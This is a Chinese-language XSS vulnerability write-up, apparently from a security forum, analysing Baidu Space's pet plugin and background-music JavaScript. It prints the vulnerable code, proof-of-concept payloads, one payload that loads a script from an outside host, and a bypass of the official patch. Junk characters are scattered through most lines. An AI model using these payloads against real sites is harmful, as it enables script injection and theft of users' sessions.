百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
' A4 l8 H) n$ a. X v
2 X/ c) v3 k8 D& T; v/ n4 }1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 2 c8 y# S$ s$ G3 a% z
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
/ f" m7 B, |" U0 `
1 [3 \3 I7 i; n- F将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> n3 F1 B4 V' b: J6 y$ p
其中BdUtil.insertWBR为
. M) ~. A! k( Z! xfunction(text, step) { . s& e) b. W: M
var textarea = textAreaCache || getContainer(); 1 _, _4 B$ a2 x; [1 H
if (!textarea) {
& v' h1 B1 }' s- _1 b% H return text;
% u* B: m8 x4 `$ _3 p& N" p } : j* Q6 a1 {; e3 I5 q
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
) I8 C$ l/ Z( ^: Y) n* \ var string = textarea.value;
) s2 I* }8 I* m& v var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
9 R! O. |- S5 Z5 Y+ y0 }1 G+ j var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ' e9 D3 |$ F9 \! m
return result; 3 i! O) W( ]- D5 H7 D+ E
}
y- Z6 b! N) P" Z+ ^4 I4 _) ?3 n- K在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. % G; `& f( v0 J4 E" \
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> , u" U' k7 e- @6 A7 y
8 |) [2 A7 N6 p" s& Y, U' v二:creatbgmusic() Dom-Xss Bug
) D: G( Z8 T% k9 k" Y百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
/ }$ t# u5 V$ I1 r1 G/ s
4 s: T! U9 [4 k) j7 W7 D在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
- j7 C* p6 w4 P$ U( I, `1 u
' A4 @9 B0 }4 c& d* t' ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ) a- c" U& r* G' d3 j
//传入的murl赋值到bgmusic1和bgmusic2中
- o# D3 V$ C8 f* }) m, Q# N2 @6 f //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 7 @' V& [1 [, a
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 3 m' z: B3 e+ n+ S3 ]; {
if (musicnum <= 1) { . H# {. a5 p! d9 y4 ^1 B9 n8 `
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
2 ?( n# H6 b) P } ; m# c: i# {/ Q
bgmusic1 += "</OBJECT>"; 3 a' P4 A/ @- W+ q
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
- I0 c3 N) v1 | if (musicnum <= 1) {
2 \: m3 B( g, C& T) _ bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 8 T# L- f9 Z. H) I- g' ?' O6 A. K
}
; Q" f ^1 P" s. n bgmusic2 += "> </EMBED>"; - t7 S5 H; J1 `+ ]4 N! P
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
7 y- Q+ C# v1 ~( e6 G' y var bgmus = detectWMP();
2 u, i8 a9 @3 j if (functype == "FckMusicHelper") {
/ u0 g' x+ ^7 y4 y& o' y8 {- U4 j9 I if (bgmus.installed) { % R) c# p- X" V1 q( C
if (bgmus.type == "IE") {
9 w( U& e- K: |9 H' I7 F$ Z2 x: ^ return bgmusic1;
. P3 z' ^# p( X4 r } else if (bgmus.type == "NS") {
) g0 D9 }7 T% X1 D/ S( L4 \% A% Y return bgmusic2;
! q% Q! D' L) b9 `3 \ }
& ~6 ]( _8 H; d/ D+ O; [# I( p } else { + M$ ?8 N' l$ p( j( ]
return bgmusic3;
: b7 F" U6 x# A# c- h3 P }
: Q c* I4 |9 ] l9 d( j/ G$ S } else {
4 q: e/ v4 R' W4 {% k* a5 y; n3 b1 ` if (bgmus.installed) { s: O) B1 q1 S$ {5 @ b4 U5 J- p9 V
//document.write 直接输出bgmusic变量 导致xss
* ~+ G( O+ G% c. s2 z) K/ _ if (bgmus.type == "IE") {
& u+ w3 N! b4 y1 r document.write(bgmusic1); $ `) d4 g% Q9 a" @9 ]" S
} else if (bgmus.type == "NS") { ' D2 |. R5 q v C" N4 L; E* h% H
document.write(bgmusic2);
1 T! G6 ~5 @* Y- `* M* Z } 6 Y( r, e% f* V
} else { 9 W4 y9 x$ r5 w* v! d- H
document.write(bgmusic3);
4 c% z! H8 l) s. p5 m, Z/ J( l } & P0 M' E3 E" {; Q' |. y7 B
return ""; 4 X1 t# O4 O8 f
} 8 n4 [+ a7 k9 W& n/ X( R4 `4 A
}
% Q; G/ e6 ~, Q( ?. A7 ?8 ]* N5 S4 s' I! d! J/ G* ]
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
# @. ]# L3 X; Z0 G, H' f! J7 p6 x7 N% r: B2 Z# n- e
function initBlogTextForFCK(){ * j4 @7 k; j# [/ g
//fck init music
( Z6 V8 c: Z1 E7 f% kif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
4 \4 ~( [5 I8 l( \& Uvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' z" k3 b! m1 V4 cvar isAutoPlay=true; 6 T1 n* g ^, `( S9 Y
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
5 q& T' ]# _+ W" N" t+ h# x8 O var img=imgBox; & C/ O( z& l/ [, c
if(img.getAttribute(’rel’)){
) A% S2 }; k2 q' K# S4 C+ [9 x var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc # a7 K$ Y6 X$ e( C4 K: O6 B
var musicDiv = document.createElement("SPAN");
6 l7 b- g, D& }) ~6 P var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
4 {5 Y5 O8 g: W, U4 s
5 [7 z# d3 a+ c J4 {0 I ..........................
: r W+ ~9 w, _0 }
! y; W( E2 S: @5 `( N //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
' M( L9 ]2 v" R& ]% d) s$ g# s* B& s var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 6 C) p" _4 a; Z9 H
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
+ x/ W' i" {+ ^* R musicDiv.innerHTML=shtml; ! ?! O1 C* F r9 @2 N' F7 \ M
i--;n--; 8 |) [% X; t0 G. I% i( ^% ^5 Z
} 2 k3 U1 V' J% U5 e0 O( W+ {
}
; ?, s% d4 |: H4 M6 i
& r7 n# G7 L! ^7 q从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
' A7 {0 s* z0 ?4 x
1 s# p, w* I/ n8 k5 y: D# N! H测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
7 L; C( n |# C( d4 ?/ k- C. U
a. Q& `8 k& [7 r d$ L, R等待官方补丁 $ U: w3 H0 r0 B) U
* E( \6 M/ i8 k0 u) c' d: s8 Uupdate 2010年5月13日 & u. Q d$ K h. s$ H4 c
* T6 ], o/ {+ e% U官方补丁: 6 _& E' @8 K# I2 ~2 d
+ S. ?9 X* e, k. g! ovar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); + G0 Q% N3 ?/ ~) M, p; i" Z
改为: ! P. p% P- C* F' s# U7 W2 }$ f
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
9 }" m" u! G& [2 ^/ ?5 m" N6 C8 F4 p, o# K- c
update 2010年5月13日 21:50:37
7 s; A# b& ]6 o: ] s$ y0 ~: g& V* _6 e
补丁存在漏洞 没有过滤" 可以继续跨: % t6 a8 w3 I2 R
/ [- R5 [+ D. y4 _* i
NEW POC: 2 t I+ m" H: X* U- F/ N
( H% e. M* ^% B) p) {( x
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ) M. ~* i$ D5 ~
7 }$ _8 L- {1 [2 ]7 k1 \4 h
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>" f& F+ J% z, b5 m
; F- o' x" D3 C) k) { |